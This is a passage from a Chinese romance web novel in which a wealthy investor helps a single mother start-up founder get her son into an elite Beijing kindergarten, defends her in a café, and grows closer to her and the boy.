林无可和陆璟栋去了教务处。负责招生的老师推了推眼镜,把名单丢给他们,颇为不耐烦:“我们虽然能跨区,但名额早满了。看吧,我们这没有什么暗箱操作。”
林无可目光在那张写满名字的名单上逡巡。大部分名字后面都跟着一个鲜红的对勾,而少数几个空缺的名额,也已经被新的名字填满,旁边标注着已确认。她的心一点点沉下去,人像被秋霜打过的树叶子,失去了生气。其实也不是一定要转学到重点幼儿园。
但她却有点失落,她知道在京市,孩子上重点幼儿园的好处多多,以后升学也更顺利。
她有点失望地转过头,声音里带着一丝自己都未察觉的低落:“其实,不用麻烦你来陪的。”
陆璟栋站在她身后,身形挺拔如松,灰色风衣领口立着挡风,将他冷峻的侧脸轮廓勾勒得更加清晰。
秋日的风从窗口吹进来,带着几分萧瑟,拂过他的发梢,他沉静的气质却不受影响。他低头看了一眼手里拿着的名单复印件,指尖在某个名字上轻轻一点,嗓音平静地听不出任何波澜:“这不是有个小孩打算转学吗?”
“还不确定呢。”教务处的老师说。
“我问了,他确定要转学。”他淡声说,语气笃定。
林无可愣住,一时没能理解他话里的含义,茫然地问:“你说什么?”
“你昨晚不是说孩子以前来过这看校园,喜欢这边的滑梯和图书角吗?”陆璟栋语气自然,仿佛只是在说一件微不足道的小事,“我让人跟园长沟通了一下,知道有个空缺,你补一份健康报告还有身份材料就行。”
教务老师的眉头微微蹙起,带着几分难以置信的疑惑:“你们是说这个孩子确定转学?我给园长打个电话。”
刚好园长过来了,胖胖的中年人十分和蔼。
“刚好何小朋友出国了。”园长轻描淡写,“位置留给糯糯吧。”
“多谢。”陆璟栋和园长寒暄了几句,而后笑着对林无可说,“搞定了,你儿子拿到了这个位置。”
“今天先参观一下,明天正式上学。”园长笑眯眯侧头朝着林无可说。
林无可的大脑瞬间一片空白。多少人挤破头都求不来的重点幼儿园名额,被她拿到了。
之前她和林母说过想让糯糯上重点幼儿园,被她和弟弟冷嘲热讽,说她不自量力,异想天开。
那份从天而降的惊喜,让她满腔的感激。
她怔怔地看着陆璟栋,他逆着光,周身仿佛镀了一层柔和的光晕。
“你为什么……”陆璟栋亲手为她拂去了所有阴霾,她都不知道怎么还了。她想问他你为什么要帮我到这个地步,这份人情又要如何偿还。
但他已经很自然地弯腰牵了糯糯的小手,回过头说:“明天入园,我也过来一趟,园长明天见。”
陆璟栋明天也要来?林无可一愣。
园长已经笑着说:“好。”
他并未多问两人的关系。
4. Chapter 4
和园长聊完,出了幼儿园办公区,她终于问出口:“这份人情恐怕没那么容易还了吧,就算这孩子出国,还有那么多人排着呢。”
陆璟栋淡声说:“他的位置空出来是偶然,其他孩子早就放弃排队了。不过,我明天还是过来一趟,带份礼物给园长。”
林无可听明白了他为何明日要来。
“需要多少钱?我给你。”林无可说。
“几张螃蟹卡,秋日正好吃蟹。我那有,你不必给钱了。”他已经准备好了给园长的礼物,处处细心,“对了,也给你拿几张。”
“怎么好再麻烦你。”林无可婉拒。
“别客气。”
小糯糯抬头看他,像小鹿一样眨巴着清澈明亮的眼睛:“陆叔叔,你怎么今天也不上班呀?”
“今天陪你妈妈做重要的事,糯糯上学很重要。”他说得淡淡的,语气却在不经意间流露出一丝柔和。
幼儿园一位穿着浅蓝色碎花长裙,笑容可掬的老师出来接他们进去参观。
陆璟栋陪着林无可走了一圈,教室内部布置得温馨而充满童趣,楼道整洁明亮,教具新颖,墙壁上贴满了孩子们稚嫩的画作,连洗手间都有自动感应风干机,还是戴森的,细节之处无不透着用心。
出了的时候,林无可说:“幼儿园的风干机还挺好的,我最近换了吸尘器,也这个牌子。”
她拿到融资后,就买了这个自己喜欢的牌子。
陆璟栋一愣,平常接触的都是买百万珠宝的女孩,听她买个吸尘器都很开心,一时间有些哑然失笑了。
“笑什么?”林无可问。
“没什么。”
参观快结束时,林无可口袋里的手机忽然响了,她以为是换煤气管道的,看了一眼来电显示,眉梢微蹙,是母亲那边打过来的:“无可啊,你赶紧和裴尧和好吧,我收到了他的抚养费,糯糯出生开始,包括你生孩子的费用他都打过来了,足足有十来万呢。”
“妈,你别收他钱。我和他,”林无可顿了一下,看了眼陆璟栋,“没可能了。我也不想让他靠近孩子。”
“糯糯,正是缺钱用的时候,你不收我替你收着。”林母说道。
“我不缺钱,今天正给糯糯换幼儿园呢。”
“你哪来的钱换,别刚融资就乱花啊。”
林无可报上了幼儿园的名字,林母一愣,这可比自家的房子带的学区还好。她本还想靠这个拿捏林无可。
“好,是好,一类重点幼儿园。”林母讪讪地说。
“行了,妈,我忙着呢。我会跟裴尧说不要他的钱,那钱,你别动。”她有些无奈,这钱她反正不会收。到时候让裴尧跟林母要去吧。
她挂断电话,拉着糯糯转头就走,结果刚走出两步,一阵秋风吹过,颈间的米色羊绒围巾被风吹掉,落在地上。她抱着孩子走过去捡,地面不平处,前几日下雨留下的一小滩水。
“我来捡!”陆璟栋声音微沉地叫住她。
他凑过来捡,林无可一惊,往旁边靠了靠,身子一歪,整个人就往大门的栏杆摔去。
就在她以为自己会磕到的时候,一只骨节分明的大手稳稳揽住她腰,力道不重不轻。那掌心的力道传到了她身上,而他身上的温度似乎也透过衣料传了过来,瞬间驱散了她心中的慌乱,也带来了心尖奇异的悸动。
她回神时,发现自己的脸颊不小心贴在他带着淡淡松木清香的胸口,心跳有点乱。
“怎么走得这么快?”他嗓音低沉,似乎带着一丝压着的情绪,尾音微哑,却又听不出喜怒。
她连忙检查糯糯有没有撞到,生怕孩子受到惊吓。
“我没事妈妈。”糯糯眨着大眼睛。
陆璟栋目光落在她略显苍白的脸上,带着一丝不易察觉的担忧:“你刚刚碰到栏杆了,痛吗?”
“没撞到。”她回头笑了一下,笑容有些勉强,带着一丝惊魂未定,“你扶住我了。”
“那他以后能天天扶你吗?”小糯糯仰着稚嫩的小脸,天真地问,话语里充满了对陆叔叔的依赖。
林无可低头摸了摸他柔软微卷的头发,声音温柔:“宝宝,妈妈不会总是摔跤的。而且叔叔很忙。”
陆璟栋把围巾递给她,三人往外走去。秋日的阳光透过秋叶照了下来,地上投下三道被拉得细长的影子。
她正要开口,忽然听见他问:“那个男人,你儿子的亲生父亲,是上次签协议的时候那个问你‘是不是一个人带孩子’的人?”
陆璟栋看着她,没有掩饰眼底的那一丝低温,如同深秋寒潭的水,冷冽无比。
她顿住脚步,心口像是被一只无形的手猛地一拳,呼吸也随之滞涩。
刚刚和林母打电话,她并没有避开他,也不知道他会怎么想。
“你怎么知道的?我没想说。”她声音低低的,像是在自言自语,又像是在对他无力地解释,露出几分狼狈。
“猜的。”他的回答简单直接,但似乎蕴藏着什么情绪,“他长得还挺像糯糯。”
“哦。”她轻声应着,空气忽然安静了下来。只剩下幼儿园偶尔传来的孩童嬉笑声,和风吹过枯黄树叶的沙沙声,衬得此刻更加显得尴尬。
风吹过来,卷起她的发梢,发丝拂过她的脸颊,有些微痒。她低下头,不知该说什么,心中头万绪,却又不知从何说起。
“放心。”他嗓音低稳,“没因为这件事看低你。”
“嗯。”她猛地抬起头,眼底闪过一丝惊讶,唇边勾起一抹几乎看不见的弧度。
确实挺多人看不起她。一个没什么背景的女人,没结婚就生孩子,还自己带。没想到他能理解。
“糯糯你照顾的挺好的。”他语气没起伏,目光却带着理解,仿佛能看到她内心的坚韧。
她心里一震,没说话。只是觉得眼眶有些发热,像是长久以来紧绷的弦在这一刻得到了片刻的松弛,有什么东西在心底悄然融化。
他看着她的眼睛,声音低缓,每一个字都像带着温度,暖心无比:“我不在乎你过去有什么历史。好好工作。”
她顿时怔在原地。
第6章秋
秋意渐浓。
第二天,陆璟栋之前留了自己的联系方式,加之要和园长联络一下,所以陪着她过来交材料,倒也显得自然而然。
两人找了老师,交了材料。
过程比林无可预想的要顺利许多,老师的态度也相当温和。糯糯当天就可以入学了。
十点钟,糯糯背着崭新的小书包,上面印着他喜欢的卡通图案,蹦蹦跳跳地进了教室。
小小的身影在门口顿了顿,回头朝她挥了挥手,这才消失在教室门边。
林无可站在门口,望着那扇门,心中悬着的一块石头终于落了地,轻轻呼了一口气。
“这家幼儿园的空间比之前那家大多了。
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”她转向陆璟栋,由衷地说道,语气里带着轻松,眼角眉梢也染上了浅浅的笑意。
“之前那家,他适应期长吗?”陆璟栋问,声音平静,目光落在她略显放松的侧脸上,那双深邃的眼眸里情绪难辨。
“还行,比他更难的是我。”林无可自嘲地笑了笑。
“这次呢?也会难吗?”
“应该不会了,之前是第一次送他去。他天天哭闹。”林无可说。
“糯糯看着挺乖的,没想到之前会哭。”他似乎有些诧异。
“那当然了。”林无可说起了糯糯的趣事。本以为他不喜欢听孩子的事情,没想到他神色很认真。
“挺有意思的。”他说,“以后多和我说一些。”
“好。对了,你今天不用上班吗?”她问,心里有些过意不去,觉得耽误了他的时间。
“本来有会,改了时间。”他回答得云淡风轻。
“因为我?”她脱口而出,语气里带了点意外。
他没答,只抬手指了指旁边一条街。
街角有一家看起来颇有格调的新中式咖啡店,店门口摆放着几盆盛开的浅绿色秋菊,在阳光下显得格外雅致:“那家咖啡店,试试吗?”
林无可犹豫了两秒,最终还是点了点头。
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咖啡馆开在旧居民楼下一层,大大的落地窗擦得一尘不染,阳光透过玻璃和层叠的龟背竹叶片,在暗色的木质地板上投下斑驳陆离的光影。
靠窗的位置是一张略显陈旧的长桌,两人并排坐下。
屋里暖气足,林无可点了一杯柠檬气泡水,服务生很快送了上来,气泡跳动着。
她一只手拿着细长的银勺,有一下没一下地搅着杯中的冰块,冰块与杯壁碰撞发出清脆的声响;另一只手指尖下意识地轻触杯壁,感受着那份冰凉。
林无可偏头看了他一眼。
陆璟栋正撑着下巴,看着窗外的人流。
他今天穿得随意,浅灰色羊绒针织衫,松松的衣领衬得他平日里略显冷硬的颈部线条柔和了几分。外面罩着一件深色的休闲外套,和她印象中那个一丝不苟的陆总,像是两个人,少了几分商场上叱咤风云的锐气,多了几分寻常日子人的温和。
“糯糯的事情,谢谢你帮忙报名。”她打破了两人间的沉默,声音轻柔,带着感激。
陆璟栋没说应该的那种客套话,低头搅了搅面前的黑咖啡,咖啡匙与骨瓷杯壁碰撞发出悦耳的轻响,道:“糯糯不该因为你的经济条件,被剥夺本来可以有的东西,能帮我就顺手帮了。”
他这句话说得很慢,很轻,却很有分量。
“糯糯很喜欢你。”她说。
“看来我的收买很成功。”
“你收买糯糯做什么?”她疑惑。
他将一个红色的信封推她:“给你的螃蟹卡,对了,还有给糯糯的一个红包。”
林无可一愣,正要说话,门口的风铃响了一声。
伴随着一阵风,紫色的高跟鞋叩击暗色地面,发出有节奏的脚步声。
一个穿着杏色风衣,画着精致妆容的女人走了进来。她的头发打理得很时尚,颈间系着一条与风衣同色系的丝巾,耳朵上挂着翡翠耳环,整个人透着一种精心修饰的干练与优雅。
林无可不认识她,但对方一眼认出了陆璟栋,唇边勾起一抹恰到好处的,带着些许惊喜的笑容:“陆总,好巧。”
5. Chapter 5
陆璟栋抬头,微点了下头,没说话,神色依旧淡然,仿佛只是遇见一个寻常的熟人。
“我也常来这里,想不到你会在这儿。”女人巧笑嫣然望着陆璟栋,而后扫了一眼林无可,目光在她身上短暂停留,带着一丝不易察觉的探究与审视,“这位是?”
林无可笑了笑,刚想自我介绍,女人已经先开口:“你是初心盒的项目负责人林小姐吧?”语气不咸不淡,却带着点“我知道你是谁”的意味,仿佛早已将她的底细摸得一清二楚。
“我是,你好。”林无可礼貌地打起招呼。
“我认识你,我在陆总的公司历练,前段时间有人给我看过你路演那天的片段。”汪晴看着她的衣着和杯子,眼神中闪过一丝几不可见的轻慢,“想不到陆总会投你的项目。”
林无可没料到她会突然来这么一句,心头微沉,脸上的笑容也淡了几分:“我不太明白你这话的意思。”
“和其他项目比起来,你的项目简单了些。”女人依然微笑,只是那笑容不及眼底,“现在好多女生好像太容易用‘母亲’这个身份获得同情了,陆总,你可要当心点。”
林无可低头喝了一口气泡水,气泡在舌尖炸开,带着微麻的刺激感,凉意从喉咙滑进胃里,又从胃里反涌回眼眶。她感到一阵莫名的委屈,像是被人当众揭开了不想示人的伤疤,却又强自压下,不想在他面前失态。
“我的项目评审分数排名很靠前的,你可能不清楚。”她声音有些干涩,尽量让自己的语气听起来平静。
这时候,陆璟栋搁下咖啡杯,杯子与杯碟发出一声轻微的碰撞。他声音不高,却带着一丝不容置喙的冷意:“汪晴,我没记错的话,你是真格的员工吧,现在是真格基金的上班时间。你请病假是我批的,我看你现在不像生病啊,还有精力在这高谈阔论。”
陆璟栋平常话不多,此时却难得地说了一连串。
汪晴脸上的笑容一僵,愣了两秒,连忙解释:“陆总,我今天是真生病了,正要去医院看病。”
“那就去看病。我不知道你想表达什么。”他看着她,语气冰冷,眼神也锐利了几分,“她一个人带孩子,撑住生活,还做了一点不错的小事情。我不该投资吗?如果你是来想和我谈工作,点评我的投资决策,可以预约时间。”
“我没有资格评判。”汪晴声音低了点,脸上的笑容也有些挂不住,显得有几分狼狈。
“有没有资格以后再说。抓紧去医院,不耽误你看病了。”陆璟栋说完,便不再看她,端起咖啡浅啜一口,姿态从容,仿佛刚才的交锋从未发生过一般。
汪晴脸色青一阵白一阵,有点挂不住,勉强维持着体面,转身离开,她身上浓郁的香水味拖着残尾飘了过来,在空气中留下一种令人不悦的甜腻。
空气安静下来。
林无可没想到高冷的陆璟栋,原来这么毒舌。
“她是真格的员工?”
“以前的同学,同专业,刚好在我公司工作。她家境还行,以后要回去接自家的公司。”
“也就是说她是在你公司‘历练’?”
“算是历练,但公司她也有参股,有些初创基金她家也出资了。”
“那投我的基金,她家里出资了?”林无可一愣,自家公司,看来刚刚的女人也是富家千金了。难怪言语间带着那种不自觉的优越感,仿佛一切都唾手可得。
“你还关心这些。”他抬眼看她,眼神里带着一丝探究,“刚刚她说你,你不生气?”
“生气。”她回答得干脆,却没什么多余的表情,仿佛那点怒气早已被他妥帖地收好。
“难受的话就别谈论她了。”
林无可握着杯子,指尖的凉意让她稍微清醒了些,笑了一下:“你怎么知道我难受?”
陆璟栋盯着她看了两秒,目光深沉,仿佛能看穿她所有伪装:“你一直很努力藏住你的委屈,但眼睛不会。”
语气平静,却带着一丝不易察觉的温柔。
林无可没说话,垂下眼睫,睫毛投下一小片阴影,遮住眼角那点悄然泛红的湿意。她慢慢把气泡水喝完,指尖在杯壁上摩挲。
旁人的轻视她早已经不在意。
关键的是,汪晴背后的汪家投资了她的项目,总让她觉得不太安全。不知道汪晴有多大话语权。
不过,陆璟栋不想再提,她也只能暂时作罢。
陆璟栋没再说话。他轻轻挪了下桌上的杯子,把她的空杯换到了旁边,问服务生要了一杯蜂蜜水推到她面前。动作极轻极稳,没有多余的解释,却像一种无声的安慰。
林无可看了他一眼,没出声。她低下头,捧起水杯,小口抿了一口,温度恰到好处,温热的水顺着喉咙滑下,很舒服。
一滴水滑了下来,微暖滑腻。
他伸手将纸递给她:“擦擦。”
两人并排坐着,伴随着他的动作,桌子下,陆璟栋的膝盖轻微地,几乎难以察觉地,朝她所在的方向偏了偏。极小的动作,却在无形中拉近了彼此的距离,如同一种无声的邀请。
她察觉到了他的靠近,连忙伸手接过,手不小心碰到了他的掌心,温暖传来。
她擦了擦唇,触感鸢尾花瓣搬柔软,才意识到那是一方丝帕,还带着他身上松木的清香。和刚刚的汪晴脖子上的丝巾一样,这丝帕也透露着很贵。
他保持着偏向她的姿势,林无可心漏跳了半拍。
“我洗完还你。”她连忙说。
“好。”他的目光掠过她微微发红的唇,又低头看了一眼,她换下来的的气泡水杯子,淡淡的红色唇印,十分诱人。
林无可察觉了他的目光,有点尴尬,她没用防水口红,有点沾杯了。
两人都没说话。
走出咖啡馆时,外面的风有点凉。
阳光透过高高低低的树叶,落在地上,晃出斑驳的光影。林无可拉了拉外套,站在街边等红灯时,忽然听见他低声问:“你接下来去哪?”
她抬眼,看着前方车水马龙的街道:“去创业园上班。”
“走吧,我送你。”
“啊,不用了,我可以自己。你顺路吗?”话没说完,他已经自然而然地绕到路边不远处的车子那,替她打开副驾车门。
““我公司在创业园投了几个项目,顺便去看看,正好早上改期的会议我过去参加。”他说得平淡,语气里带着不容拒绝。
林无可微微愣了一下,看着他坚定的侧脸,低低笑了笑,还是拉开车门,坐进副驾。
车里空调足,热风吹来,她脱了外套,里面是一身暗红色的修身一字肩连衣裙。
陆璟栋侧过身,探手过来,温热的指尖不经意地擦过她的手臂,替她拉过安全带。安全带扣入卡槽的“咔哒”声,在安静的车厢里被无限放大。
她身体一僵,下意识地屏住呼吸,指尖微蜷。他身上淡淡的木质香气,混合着清冽的佛手柑味,瞬间将她包围。
车子驶过街道,阳光透过车窗,投下一道道光束。车里没有开音乐,也没有多余的寒暄。她坐在副驾,手里翻着资料,时不时低下头在笔记本上写几行字。而他,专注地开着车,偶尔余光扫过她安静低头的侧脸。秋日的阳光将她的发梢染成了浅浅的金色,侧脸的线条柔和而专注。她看得
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认真,偶尔会轻轻咬一下笔端,那是她思考时的小习惯。
等红灯时,陆璟栋的目光在她侧脸上停留了一瞬,眼底深处,隐约闪过一丝说不清的情绪。他的目光像沉香点燃时落下的灰,隐隐烫得她脸发热。
等车停在创业园门口,她合上资料,抬眼看他:“谢谢你的投资。”
“资金用上了吗?”陆璟栋嗓音低下来,带着一丝不易察觉的无奈。
她扬了扬眉,眼底带着一丝浅浅的笑意,红唇如绯红的海棠:“准备换办公室了。”
“恭喜。”他偏头看她一眼,眼里带着点笑意,那笑意不达眼底,反而更像是某种不经意的诱导,像半浮在空中的沉香烟圈,一圈圈落到她的脸上,不依不饶,缠绕着她。
林无可轻轻“嗯”了一声,没有再多问,转身快步进了园区。
陆璟栋坐在车里,看着她的背影消失在楼梯口。半晌,才收回目光,唇角微微弯起了一点,一道几乎看不见的笑意。
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下班晚上回到家,林无可哄糯糯睡下,把陆璟栋的丝帕手洗干净,晾在了衣架上,而后一个人坐在沙发上。
窗外的路灯透过薄薄的窗帘,在那方橙色小白马丝帕上投下昏黄的光晕,林无可这才意识到这丝帕是爱马仕的。
手机亮了一下,是一条简短的消息:【下班了?】
林无可盯着屏幕愣了一下,唇角慢慢扬起一点点弧度。指尖停顿片刻,才敲下一句:【刚到家。】
几秒后,那边回过来:【我刚忙完,想起今天咖啡馆的事。我应该挡得更早。】
她盯着屏幕看了很久,然后靠进沙发里,微微仰头闭上眼,心里,像是被什么细小的东西填满了一角,暖暖的,又有些微的酸涩。
最后她回了两个字:【没事。】
发出去后,她忍不住笑了一下。然后把手机搁到沙发边,仰头靠了回去。
心里那一点酸涩,散了一些,只剩下,微微的暖。
她唇角勾起浅浅弧度。
第7章秋
接下来几天,她和陆氏旗下真格基金的人对接项目,有条不紊地推进着各项事务,没见到陆璟栋。
两人换了联系方式,但她主要和他手下的助理对接,并未联系他。对话框安静地躺在通讯录里,像一扇没有被叩响的门。
林无可也没在意,或者说,她刻意让自己不要去在意。毕竟人家是公司的老板,股份超过了一半多,能和他手下的员工对接创业,已经是难得的机会,她不该有更多不切实际的期待。
有了真格基金的投资,她的创业公司很快在产业孵化园换了一个更大的办公区。原本的办公区就她和合伙人赵姗,还有两三个员工,整个办公区不过三十平米。
赵姗一进门,先愣了一秒,然后小声感叹:“天呐,好大……”
从前的办公区是产业园最靠北的隔间,白天采光差,暖气也不好。她们几个挤在里面连个像样的会议室都没有。
当时有个隔壁公司的项目经理小灰灰路过,进来看了一眼,笑着说:“这是办公室?你们租的是储藏间吧?”
林无可当时笑笑没反驳,心里却默默记下。
现在,新的办公室上百平米,开放式工位排列整齐,还有一间玻璃隔断的会议室,还配了休息区和厨房。
赵珊兴奋地打了一杯咖啡:“我们居然换了这么大的办公室啊,林无可你可太厉害了。之前隔壁的小灰灰都羡慕死了。”
林无可唇角微微勾起。
而后,她坐下,掏出手机,给陆璟栋发了条消息:【你的丝帕还在我这,什么时候还你。】
6. Chapter 6
她想要把丝帕还给陆璟栋,但他似乎很忙,没有回复。
这几天,她有点累。糯糯换了新环境后几次夜里惊醒,还轻微发烧了一次,虽然退了,但她神经还是绷着,像一根拉紧的弦,不敢有丝毫松懈。
早上,她接到幼儿园老师电话,说糯糯又有点低烧,需要早点接回家时,她第一反应还是想给陆璟栋发条微信。那个念头几乎是下意识地冒出来,带着她自己都未曾察觉的依赖。
但她没发,站在原地捏着手机屏幕,冰凉的金属外壳贴着微汗的掌心,指尖有些泛白。她和一起创业的合伙人赵珊说了一声,声音尽量保持平稳,然后出了门。
她不能太贪心了。早就习惯了一个人扛,习惯了在无数个深夜独自面对困难,现在有人伸出手,仅仅是几次温和的援手,她却不知不觉想要更多,这是一种危险的信号,过往的教训她不能忘记。
她一路上都有些走神,到幼儿园时老师正抱着糯糯在哄,糯糯脸颊有点红,情绪不高。小小的身子蜷缩在老师怀里,平日里明亮的大眼睛此刻也有些黯淡,像蒙了一层薄雾,看起来可怜兮兮的。
“妈妈,”他小声说,声音带着浓浓的鼻音,“我们还会见到陆叔叔吗?”
林无可心口一紧,像被什么细小的东西轻轻刺了一下,却还是笑着接过了糯糯抱在怀里,揉了揉他柔软的脑袋:“陆叔叔是妈妈的投资人,他没空,但妈妈不是来接了吗?”
糯糯眼睛中闪过一丝失落,小嘴微微瘪了瘪,却懂事地没有再说什么。他只是把头埋进妈妈的颈窝,小手紧紧抓着她的衣领。
回到家,她哄着孩子睡下,自己泡了杯热红茶坐在窗边。阳光照进来,她却觉得很冷。秋日的阳光失去了温度,只剩下刺眼的白,照得人心头发慌。
手机屏幕暗着,像一面沉默的黑色镜子,映不出任何她想要的回应。她犹豫着点开聊天框。
上一次的记录停留在三天前,他发了一条:【拨款分期过来,你和财务对接。】
她回了“好”,然后就没了。简洁得像一份公事公办的邮件。
她盯着对话框看了一会儿,手指划了一下,打出你的丝帕还在我这,又一点点删了回去。指尖触碰屏幕的动作,带着几分不确定的迟疑。
她上次已经问了丝帕的事情,他没有说还也没说不用还,完全没提,只是发了财务对接的消息。
她似乎没有任何联系他的理由。工作上的事情已经由助理和财务对接,私下的交情,似乎也还没到可以随意打扰的地步。
不知道糯糯怎么记住了他,孩子的心思总是单纯而直接,不像大人有那么多弯弯绕绕。
她想到了家里曾让她找个人结婚,那些催促和安排,像无形的网,让她有些透不过气。她叹了口气。
她再次见到陆璟栋,是在几天后的下午。
这天是周末,她正带糯糯在公园晒太阳。公园里满是金黄的落叶,踩上去沙沙作响,空气中弥漫着秋日特有的清爽气息。
她在草坪上铺了一块格纹野餐垫,两人坐着。
孩子已经退烧,精神好了许多,坐在她腿边,小手灵活地摆弄着五颜六色的积木。
“糯糯前些日子是不是感冒了?”他的声音忽然在身后响起,低沉而富有磁性,带着一丝不易察觉的关切。
林无可听到他的声音,愣住了,“嗯”了一声,心中有些微的波澜。他怎么知道的。
他走过来,步履从容,身上带着淡淡的阳光气息,蹲下看着小糯糯:“烧退了吗?”
“退啦!”小糯糯抬头,眼神亮亮的,看见他,脸上立刻绽放出灿烂的笑容,“可是陆叔叔怎么这么久都不见啦?”
陆璟栋一顿,抬头看林无可。四目相对的瞬间,空气似乎凝滞了几秒。
她有点歉意地说道:“上次不知道怎么糯糯就记住你了。”
“我这边工作有点忙。”他回答得简短,目光却在她脸上停留了片刻。
“哦。”小糯糯点点头,“叔叔你是来奥森跑步吗?”
“对。”
“你妈妈最近还好?”他问,语气随意,像是不经意提起。
“叔叔,你问我妈妈呀。”糯糯笑着回答,小脸上带着一丝狡黠。
他目光转向她。
“挺好。”她没看他,只是低头整理着野餐垫的边角,“糯糯上幼儿园也适应了,烧也退了。”
陆璟栋能感觉到,她整个人像是有一层防备壳,语气很淡,几乎听不出情绪。明眼人都知道她很不容易。他看着她低垂的眉眼,心中掠过一丝说不清的情绪。
“那就好。”他点了点头。
她眼底带着一丝探寻:“你怎么知道糯糯生病了。”
“园长告诉我的。”陆璟栋解释。
林无可没想到园长会联系他,原来他默默关注着自己这边的情况,但似乎他之前也没关心什么。
林无可语气极轻,像是怕惊扰了什么:“你是因为投资了我创业,才对我们这么好吗?那你这个投资人还挺难当。”
“怎么好了?”他看着她,语气没有太大情绪,眼神却深了几分,仿佛想从她平静的表情下看出些什么。他一时分不清,她是不是在试探什么。他的手指不经意地摩挲着运动裤的裤缝,指骨分明的手指轻颤,泄露了一丝不易察觉的焦躁与克制。
“帮忙查幼儿园、送孩子小东西。你对投的别的创业人也会这样吗?”
“林无可。”他开口,语气淡淡,却带着认真,“我不是慈善家,也不是谁都管。”
她愣了一下,抬头看他,想从他脸上看出些什么。他的眼神很沉静,像深秋的湖水,望不见底,仿佛要将她吸进去,里面似是有更深一层的情绪,让她不敢深究。
她的心跳猛地加快,大脑仿佛轰地一声炸开了,皮肤立刻惊出了薄薄的一层汗,一种难以形容的、危险的战栗感过电一般席卷了她的身体。
两人陷入短暂的沉默。只有风吹过树叶的沙沙声,和远处孩子们的嬉笑声。阳光透过树梢,在他和她之间投下斑驳的秋日光影,明明灭灭。
陆璟栋的目光在她唇上停顿了一瞬,然后又迅速移开,喉结微微滚动了一下。
他没有再说话,只是眼底深处,似乎有缱绻的色泽,在斑驳的光影里,耀眼得令人心潮汹涌。
“叔叔,你的发带好好看啊。”糯糯忽然说,打破了这份微妙的安静。
“真的吗?”男人从随身的运动小
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包里面掏出一根替换的蓝色运动发带,“这个送给你了。”
糯糯看向林无可,不知道能不能收。
林无可点点头,唇边带着一丝浅笑。
糯糯把发带接了过去,脸上的笑容比刚刚更灿烂几分。
陆璟栋站起身,说:“我继续跑步了,今天计划五公里。”
“叔叔加油!”糯糯笑着说。
她看着他转身,启跑,没有说话。他的背影在秋日的阳光下显得有些孤单,却又带着一种莫名的挺拔与坚定。
小糯糯抬起头,小声问:“妈妈,你是不是跟陆叔叔吵架啦?”
她摇了摇头,鼻子有点发酸:“没有。”
“那你怎么不笑了?”小糯糯歪着头,“你笑起来才是我妈妈啊。”
林无可低头抱住他,声音有点哑:“知道了。”
她和陆璟栋本来就不熟。可是,心底那份莫名的失落,却又如此清晰。
第8章秋
林无可带着糯糯回到家中,第二天照常上班。
下午四点多,空气中还残留着日间的余温,窗外的天色是秋日特有的的蓝紫色。
手机响了。
她以为是幼儿园老师的群通知,或是创业伙伴发来的工作确认,点开才发现是一条来自陆璟栋的消息:【我在幼儿园边上办点事,刚好帮你去接糯糯,我一会儿打个视频,你跟老师确认一下。】
文字简洁,一如他平日的行事风格。
她手一顿,指尖在微凉的屏幕上停留了几秒,打字:【好。】
十来分钟后,男人的视频电话打了过来。
陆璟栋是京市名人,他那张常出现在财经杂志上的脸辨识度很高,幼儿园老师也认识他,不过还是恪尽职守地跟林无可确认了陆璟栋可以接糯糯。
有人去接孩子了,她索性在公司加班,处理一些之前积压的琐碎事务。
不一会儿,手机屏幕亮了,陆璟栋的消息来了。
一个视频,是糯糯坐在安全座椅里,举着一个包装精致的儿童汉堡,嘴边沾了点酱,正对着镜头笑得眉眼弯弯,露出几颗小小的牙。
“妈妈,我跟陆叔叔一起去吃汉堡啦!”糯糯的声音带着孩子特有的纯真和奶气。
她没忍住笑了一下,唇角的弧度柔和下来,眼底也染上了一层暖意。
其实,她很久没有主动联系过他了。
那天在公园的对话之后,他们之间好像又被按下了“静音键”。像两条短暂交汇后又各自延伸的平行线,恢复了安全的距离。
本来她也不该越界。
可此刻看到那条消息,和视频里糯糯开心的笑脸,她还是愣了很久。
糯糯知道家里电子防盗门的密码。
陆璟栋直接把糯糯送回了家。
等她回到家,天已经黑了。开门,屋里已经亮着暖黄的灯,柔和的光线将不大的客厅映照得十分温馨,窗外缀着几颗亮起的星。小糯糯正在客厅的小桌上专注地玩卡牌游戏。
陆璟栋坐在他身侧的地上,长腿随意地伸展着,他脱下的西装外套随意地搭在沙发边上的地板上。他看起来比平日里多了一份居家的慵懒与随意,少了几分拒人于千里之外的冷硬。
7. Chapter 7
“你怎么把衣服放地上了?”她走过去把衣服拿了起来,指尖触碰到精良的毛呢面料,准备挂上。
“不用挂。”陆璟栋随意地说道,声音带着一丝刚放松下来的沙哑。
她一愣,把衣服放在了沙发上。
“妈妈!”糯糯眼睛亮了,像两颗浸在水里的紫葡萄,“陆叔叔说你加班会成‘黑眼圈大王’,让我看你有没有黑眼圈。”
林无可把包放下,轻声问:“你怎么有空送孩子回家?”
她的目光不着痕迹地从他身上掠过,带着一丝自己都未曾察觉的探究。
“正好经过。”他说,语气平淡得仿佛这只是再寻常不过的一件小事,但他垂在身侧的手指却不经意地动了动,像是在克制着什么,又像是想触碰什么。
“你这电子门一定要注意安全。”陆璟栋说,“密码不能随便说。”
“我知道的。密码定期换。”
“我不是这个意思。”陆璟栋站起来,上前一步,身体微微倾向她,距离近到林无可几乎能闻到他身上淡淡的木质香气,混合着一丝清冽的佛手柑味,莫名让人心旌摇曳。他的目光在她脸上流连,带着点玩味,像是宣示着某种无声的主权。
“那是什么意思?”她一愣。
“算了,先不说这个了。”他进了厨房一趟,走出来,端着一碗汤。汤还冒着热气,白瓷碗里盛着牛骨汤水,几片翠绿的葱花点缀其间,散发着淡淡的食材的清香。
他语气不轻不重:“晚饭带孩子吃汉堡没什么营养,汤是我煮的,给糯糯喝,你也喝点。”
林无可没接话,走到餐桌边坐下来,喝了一口。
是淡淡的山药牛骨汤,有点清甜,温热的汤水滑过喉咙,驱散了她一身的疲惫。
“还不错。”她低声说,耳根却有些微微发烫。
“不是还不错,是很好喝。”糯糯一本正经地说,“妈妈你夸他,他才会再做!”
她忍不住笑了一下,低头继续喝汤。灯光下,她的侧脸显得格外柔和。
她没说,其实她今天几乎什么都没吃,为了赶工,连水都忘了喝。
晚上九点多,小糯糯困得不行,小脑袋一点一点的,像只打瞌睡的小鸡仔,被林无可抱去洗漱、哄睡。
她哄孩子的时候陆璟栋没打扰,就坐在客厅里安静地收拾孩子散落的小玩具。他的动作不疾不徐,将那些五颜六色的积木和卡片一一归位,仿佛在进行一项极重要的工作。
等她出来,他正把一个玩具车放进收纳筐。
